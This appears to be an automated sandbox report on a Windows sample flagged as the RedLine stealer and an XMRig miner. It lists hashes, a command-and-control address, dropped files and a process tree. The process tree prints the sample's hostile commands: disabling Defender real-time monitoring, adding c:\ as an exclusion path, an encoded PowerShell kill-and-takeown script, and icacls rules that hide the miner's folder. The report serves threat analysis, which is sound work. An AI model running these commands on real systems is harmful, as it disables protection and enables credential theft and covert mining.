redline | 72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb

Analysis

max time kernel
150s
max time network
154s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
03-07-2024 05:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe
Size

45.0MB
MD5

a2059ca7715450dc171f7608325744da
SHA1

59f73376071e1e81471e8452db1c188340885a2f
SHA256

72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb
SHA512

8c2ab1eb0e74a35883f35031c80c98ac63301b21350978d3d322aaf1fc9f02fa7f96cf1f824818f04a821c7f50029a8b9d7b423cf488fd9121dfa00cc0f2562b
SSDEEP

786432:m5/faR80BcXAYOuzNYe6NAApOAsExCWUs38wJ/YSGlWfzewb7wrSvMEBE25t:wfiBOAY3j6NB1h/3JJ/YSdfA+vMEBE2r

Score

10^/10

redline xmrig 1 discovery execution exploit infostealer miner pyinstaller

Malware Config

Extracted

Family

redline

Botnet

147.45.78.229:43674

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
RedLine payload 1 IoCs

Processes:

resource yara_rule

\??\c:\programdata\1.exe family_redline
XMRig Miner payload 2 IoCs
miner

Processes:

resource yara_rule

C:\Windows\Tasks\ApplicationsFrameHost.exe family_xmrig
C:\Windows\Tasks\ApplicationsFrameHost.exe xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Possible privilege escalation attempt 13 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exetakeown.exetakeown.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

1284 icacls.exe
3720 icacls.exe
4820 icacls.exe
1080 takeown.exe
5000 takeown.exe
3392 icacls.exe
1248 icacls.exe
2904 icacls.exe
2312 takeown.exe
3380 icacls.exe
4408 icacls.exe
1568 icacls.exe
2312 icacls.exe
Executes dropped EXE 10 IoCs

Processes:

migrate.exeWmiic.exeWmiic.exeWmiic.exeIntelConfigService.exeWrap.exeApplicationsFrameHost.exeSuperfetch.exeMSTask.exeMSTask.exe

pid process

2704 migrate.exe
2692 Wmiic.exe
1108 Wmiic.exe
664 Wmiic.exe
3572 IntelConfigService.exe
3012 Wrap.exe
3640 ApplicationsFrameHost.exe
3756 Superfetch.exe
2268 MSTask.exe
1904 MSTask.exe

resource	yara_rule
\??\c:\programdata\1.exe	family_redline

resource	yara_rule
C:\Windows\Tasks\ApplicationsFrameHost.exe	family_xmrig
C:\Windows\Tasks\ApplicationsFrameHost.exe	xmrig

pid	process
1284	icacls.exe
3720	icacls.exe
4820	icacls.exe
1080	takeown.exe
5000	takeown.exe
3392	icacls.exe
1248	icacls.exe
2904	icacls.exe
2312	takeown.exe
3380	icacls.exe
4408	icacls.exe
1568	icacls.exe
2312	icacls.exe

pid	process
2704	migrate.exe
2692	Wmiic.exe
1108	Wmiic.exe
664	Wmiic.exe
3572	IntelConfigService.exe
3012	Wrap.exe
3640	ApplicationsFrameHost.exe
3756	Superfetch.exe
2268	MSTask.exe
1904	MSTask.exe

Loads dropped DLL 17 IoCs

Processes:

MSTask.exe

pid	process
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe
1904	MSTask.exe

Modifies file permissions 1 TTPs 13 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exetakeown.exetakeown.exe

pid process

4408 icacls.exe
3720 icacls.exe
3392 icacls.exe
4820 icacls.exe
1568 icacls.exe
3380 icacls.exe
2312 icacls.exe
1248 icacls.exe
1284 icacls.exe
2904 icacls.exe
5000 takeown.exe
1080 takeown.exe
2312 takeown.exe
AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.

Processes:

resource yara_rule

C:\Windows\Tasks\IntelConfigService.exe autoit_exe
C:\Windows\Tasks\Superfetch.exe autoit_exe
Drops file in System32 directory 2 IoCs

Processes:

MSTask.exe

description ioc process

File created \??\c:\windows\system32\v.txtz4bp06t2.tmp MSTask.exe
File created \??\c:\windows\system32\miners.txtqkqasyxx.tmp MSTask.exe

pid	process
4408	icacls.exe
3720	icacls.exe
3392	icacls.exe
4820	icacls.exe
1568	icacls.exe
3380	icacls.exe
2312	icacls.exe
1248	icacls.exe
1284	icacls.exe
2904	icacls.exe
5000	takeown.exe
1080	takeown.exe
2312	takeown.exe

resource	yara_rule
C:\Windows\Tasks\IntelConfigService.exe	autoit_exe
C:\Windows\Tasks\Superfetch.exe	autoit_exe

description	ioc	process
File created	\??\c:\windows\system32\v.txtz4bp06t2.tmp	MSTask.exe
File created	\??\c:\windows\system32\miners.txtqkqasyxx.tmp	MSTask.exe

Drops file in Windows directory 23 IoCs

Processes:

migrate.exeIntelConfigService.exeApplicationsFrameHost.exe

description	ioc	process
File created	C:\Windows\Tasks\ApplicationsFrameHost.exe	migrate.exe
File created	C:\Windows\Tasks\IntelConfigService.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\run.bat	migrate.exe
File opened for modification	C:\Windows\Tasks\Wrap.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\MicrosoftPrt.exe	migrate.exe
File created	C:\Windows\Tasks\__tmp_rar_sfx_access_check_240633593	migrate.exe
File opened for modification	C:\Windows\Tasks\ApplicationsFrameHost.exe	migrate.exe
File created	C:\Windows\Tasks\config.json	migrate.exe
File opened for modification	C:\Windows\Tasks\Superfetch.exe	migrate.exe
File created	C:\Windows\Tasks\MicrosoftPrt.exe	migrate.exe
File opened for modification	C:\Windows\Tasks	IntelConfigService.exe
File opened for modification	C:\Windows\Tasks\config.json	ApplicationsFrameHost.exe
File opened for modification	C:\Windows\Tasks\config.json	migrate.exe
File created	C:\Windows\Tasks\MSTask.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\MSTask.exe	migrate.exe
File created	C:\Windows\Tasks\Wmiic.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\Wmiic.exe	migrate.exe
File created	C:\Windows\Tasks\Wrap.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\IntelConfigService.exe	migrate.exe
File created	C:\Windows\Tasks\run.bat	migrate.exe
File created	C:\Windows\Tasks\Superfetch.exe	migrate.exe
File created	C:\Windows\Tasks\WinRing0x64.sys	migrate.exe
File opened for modification	C:\Windows\Tasks\WinRing0x64.sys	migrate.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2288 powershell.exe
Detects Pyinstaller 2 IoCs
pyinstaller

Processes:

resource yara_rule

C:\Windows\Tasks\MSTask.exe pyinstaller
C:\Windows\Tasks\MicrosoftPrt.exe pyinstaller
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Delays execution with timeout.exe 6 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid process

3364 timeout.exe
4496 timeout.exe
1368 timeout.exe
4280 timeout.exe
2204 timeout.exe
3900 timeout.exe
Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

4468 tasklist.exe
Kills process with taskkill 6 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

5052 taskkill.exe
728 taskkill.exe
3060 taskkill.exe
4436 taskkill.exe
2472 taskkill.exe
2696 taskkill.exe
Runs net.exe

pid	process
2288	powershell.exe

resource	yara_rule
C:\Windows\Tasks\MSTask.exe	pyinstaller
C:\Windows\Tasks\MicrosoftPrt.exe	pyinstaller

pid	process
3364	timeout.exe
4496	timeout.exe
1368	timeout.exe
4280	timeout.exe
2204	timeout.exe
3900	timeout.exe

pid	process
4468	tasklist.exe

pid	process
5052	taskkill.exe
728	taskkill.exe
3060	taskkill.exe
4436	taskkill.exe
2472	taskkill.exe
2696	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeIntelConfigService.exe

pid	process
3464	powershell.exe
3464	powershell.exe
724	powershell.exe
724	powershell.exe
2288	powershell.exe
2288	powershell.exe
4008	powershell.exe
4008	powershell.exe
4204	powershell.exe
4204	powershell.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

powershell.exepowershell.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetakeown.exetasklist.exepowershell.exepowershell.exeApplicationsFrameHost.exe

description	pid	process
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	724	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	2696	taskkill.exe
Token: SeDebugPrivilege	5052	taskkill.exe
Token: SeDebugPrivilege	728	taskkill.exe
Token: SeDebugPrivilege	3060	taskkill.exe
Token: SeDebugPrivilege	4436	taskkill.exe
Token: SeDebugPrivilege	2472	taskkill.exe
Token: SeTakeOwnershipPrivilege	1080	takeown.exe
Token: SeDebugPrivilege	4468	tasklist.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeLockMemoryPrivilege	3640	ApplicationsFrameHost.exe

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

IntelConfigService.exeApplicationsFrameHost.exeSuperfetch.exe

pid process

3572 IntelConfigService.exe
3572 IntelConfigService.exe
3572 IntelConfigService.exe
3640 ApplicationsFrameHost.exe
3756 Superfetch.exe
3756 Superfetch.exe
3756 Superfetch.exe

pid	process
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3572	IntelConfigService.exe
3640	ApplicationsFrameHost.exe
3756	Superfetch.exe
3756	Superfetch.exe
3756	Superfetch.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exepowershell.exenet.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2684 wrote to memory of 3464	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	powershell.exe
PID 2684 wrote to memory of 3464	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	powershell.exe
PID 2684 wrote to memory of 3464	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	powershell.exe
PID 2684 wrote to memory of 724	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	powershell.exe
PID 2684 wrote to memory of 724	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	powershell.exe
PID 2684 wrote to memory of 724	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	powershell.exe
PID 2684 wrote to memory of 2288	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	powershell.exe
PID 2684 wrote to memory of 2288	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	powershell.exe
PID 2684 wrote to memory of 2288	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	powershell.exe
PID 2288 wrote to memory of 1924	2288	powershell.exe	net.exe
PID 2288 wrote to memory of 1924	2288	powershell.exe	net.exe
PID 2288 wrote to memory of 1924	2288	powershell.exe	net.exe
PID 1924 wrote to memory of 2080	1924	net.exe	net1.exe
PID 1924 wrote to memory of 2080	1924	net.exe	net1.exe
PID 1924 wrote to memory of 2080	1924	net.exe	net1.exe
PID 2288 wrote to memory of 2696	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 2696	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 2696	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 5052	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 5052	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 5052	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 728	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 728	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 728	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 3060	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 3060	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 3060	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 4436	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 4436	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 4436	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 2472	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 2472	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 2472	2288	powershell.exe	taskkill.exe
PID 2288 wrote to memory of 2316	2288	powershell.exe	cmd.exe
PID 2288 wrote to memory of 2316	2288	powershell.exe	cmd.exe
PID 2288 wrote to memory of 2316	2288	powershell.exe	cmd.exe
PID 2316 wrote to memory of 2312	2316	cmd.exe	takeown.exe
PID 2316 wrote to memory of 2312	2316	cmd.exe	takeown.exe
PID 2316 wrote to memory of 2312	2316	cmd.exe	takeown.exe
PID 2288 wrote to memory of 1456	2288	powershell.exe	schtasks.exe
PID 2288 wrote to memory of 1456	2288	powershell.exe	schtasks.exe
PID 2288 wrote to memory of 1456	2288	powershell.exe	schtasks.exe
PID 2288 wrote to memory of 4464	2288	powershell.exe	cmd.exe
PID 2288 wrote to memory of 4464	2288	powershell.exe	cmd.exe
PID 2288 wrote to memory of 4464	2288	powershell.exe	cmd.exe
PID 4464 wrote to memory of 1080	4464	cmd.exe	takeown.exe
PID 4464 wrote to memory of 1080	4464	cmd.exe	takeown.exe
PID 4464 wrote to memory of 1080	4464	cmd.exe	takeown.exe
PID 2288 wrote to memory of 420	2288	powershell.exe	cmd.exe
PID 2288 wrote to memory of 420	2288	powershell.exe	cmd.exe
PID 2288 wrote to memory of 420	2288	powershell.exe	cmd.exe
PID 2684 wrote to memory of 4212	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	cmd.exe
PID 2684 wrote to memory of 4212	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	cmd.exe
PID 2684 wrote to memory of 4212	2684	72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe	cmd.exe
PID 4212 wrote to memory of 3220	4212	cmd.exe	cmd.exe
PID 4212 wrote to memory of 3220	4212	cmd.exe	cmd.exe
PID 4212 wrote to memory of 3220	4212	cmd.exe	cmd.exe
PID 3220 wrote to memory of 2960	3220	cmd.exe	chcp.com
PID 3220 wrote to memory of 2960	3220	cmd.exe	chcp.com
PID 3220 wrote to memory of 2960	3220	cmd.exe	chcp.com
PID 3220 wrote to memory of 4468	3220	cmd.exe	tasklist.exe
PID 3220 wrote to memory of 4468	3220	cmd.exe	tasklist.exe
PID 3220 wrote to memory of 4468	3220	cmd.exe	tasklist.exe
PID 3220 wrote to memory of 4932	3220	cmd.exe	find.exe

C:\Users\Admin\AppData\Local\Temp\72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe
"C:\Users\Admin\AppData\Local\Temp\72ef598f8e69e142e21fef23cff48d2e9e49dcd142c12189656eab3269b454eb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2684

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3464

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath c:\
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:724

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIABzAHQAbwBwACAAdwBtAHMAZQByAHYAaQBjAGUACgB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAIAAvAGkAbQAgAG0AaQBnAHIAYQB0AGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAASQBuAHQAZQBsAEMAbwBuAGYAaQBnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAATQBTAFQAYQBzAGsALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAUwB1AHAAZQByAGYAZQB0AGMAaAAuAGUAeABlAAoAdABhAHMAawBrAGkAbABsACAALwBmACAALwBpAG0AIABXAG0AaQBpAGMALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAVwByAGEAcAAuAGUAeABlAAoAYwBtAGQAIAAvAGMAIAB0AGEAawBlAG8AdwBuACAALwBGACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzACIACgBzAGMAaAB0AGEAcwBrAHMAIAAvAGQAZQBsAGUAdABlACAALwB0AG4AIAAiAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIgAgAC8ARgAKAGMAbQBkACAALwBjACAAdABhAGsAZQBvAHcAbgAgAC8ARgAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAbQBpAGcAcgBhAHQAZQAuAGUAeABlACIACgBjAG0AZAAgAC8AYwAgAGQAZQBsACAALwBGACAALwBRACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABtAGkAZwByAGEAdABlAC4AZQB4AGUAIgAKAAoA
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2288

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" stop wmservice
3⤵
- Suspicious use of WriteProcessMemory
PID:1924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wmservice
4⤵
PID:2080

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\system32\taskkill.exe" /f /im migrate.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2696

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\system32\taskkill.exe" /f /im IntelConfigService.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5052

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\system32\taskkill.exe" /f /im MSTask.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:728

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\system32\taskkill.exe" /f /im Superfetch.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3060

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\system32\taskkill.exe" /f /im Wmiic.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4436

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\system32\taskkill.exe" /f /im Wrap.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2472

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c takeown /F c:\windows\tasks
3⤵
- Suspicious use of WriteProcessMemory
PID:2316

C:\Windows\SysWOW64\takeown.exe
takeown /F c:\windows\tasks
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2312

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\system32\schtasks.exe" /delete /tn WindowsUpdate /F
3⤵
PID:1456

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c takeown /F C:\ProgramData\migrate.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:4464

C:\Windows\SysWOW64\takeown.exe
takeown /F C:\ProgramData\migrate.exe
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1080

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del /F /Q C:\ProgramData\migrate.exe
3⤵
PID:420

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\programdata\ru.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:4212

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K "c:\programdata\st.bat"
3⤵
- Suspicious use of WriteProcessMemory
PID:3220

C:\Windows\SysWOW64\chcp.com
chcp 65001
4⤵
PID:2960

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "IMAGENAME eq Superfetch.exe"
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4468

C:\Windows\SysWOW64\find.exe
find /I /N "Superfetch.exe"
4⤵
PID:4932

C:\Windows\SysWOW64\takeown.exe
takeown /f c:\windows\tasks
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5000

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 3 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:4496

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableRealtimeMonitoring $True
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4008

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -ExclusionPath c:\
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4204

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "*S-1-1-0:(R,REA,RA,RD)" "*S-1-5-7:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1284

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "SYSTEM:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3380

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Administrators:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2904

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Users:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4408

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Admin:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3720

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Admin:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3392

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "EVERYONE:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4820

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 3 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:1368

\??\c:\programdata\migrate.exe
c:\programdata\migrate.exe -p4432
4⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2704

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\windows\tasks\run.bat" "
5⤵
PID:3512

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 1 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:2204

C:\windows\tasks\Wmiic.exe
"C:\windows\tasks\wmiic.exe" install WMService IntelConfigService.exe
6⤵
- Executes dropped EXE
PID:2692

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 1 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:3900

C:\windows\tasks\Wmiic.exe
"C:\windows\tasks\wmiic" start WMService
6⤵
- Executes dropped EXE
PID:1108

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 2 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:3364

C:\Windows\SysWOW64\net.exe
net start WMService
6⤵
PID:1644

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start WMService
7⤵
PID:3956

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 3 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:4280

C:\windows\tasks\Wmiic.exe
C:\windows\tasks\Wmiic.exe
1⤵
- Executes dropped EXE
PID:664

C:\windows\tasks\IntelConfigService.exe
"IntelConfigService.exe"
2⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:3572

C:\Windows\Tasks\Wrap.exe
C:\Windows\Tasks\Wrap.exe
3⤵
- Executes dropped EXE
PID:3012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Windows\Tasks\ApplicationsFrameHost.exe" --daemonized
4⤵
PID:1100

C:\Windows\Tasks\ApplicationsFrameHost.exe
C:\Windows\Tasks\ApplicationsFrameHost.exe --daemonized
5⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3640

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "%username%:(R,REA,RA,RD)"
3⤵
PID:2596

C:\Windows\system32\icacls.exe
icacls C:\Windows\Tasks /deny "UBLNJRHF$:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1248

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "Users:(R,REA,RA,RD)"
3⤵
PID:4032

C:\Windows\system32\icacls.exe
icacls C:\Windows\Tasks /deny "Users:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2312

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "Administrators:(R,REA,RA,RD))"
3⤵
PID:3280

C:\Windows\system32\icacls.exe
icacls C:\Windows\Tasks /deny "Administrators:(R,REA,RA,RD))"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1568

C:\Windows\Tasks\Superfetch.exe
C:\Windows\Tasks\Superfetch.exe
3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:3756

C:\Windows\Tasks\MSTask.exe
C:\Windows\Tasks\MSTask.exe
3⤵
- Executes dropped EXE
PID:2268

C:\Windows\Tasks\MSTask.exe
C:\Windows\Tasks\MSTask.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
PID:1904

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

System Information Discovery

T1082

Process Discovery

T1057

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\migrate.exe
Filesize
44.6MB

MD5
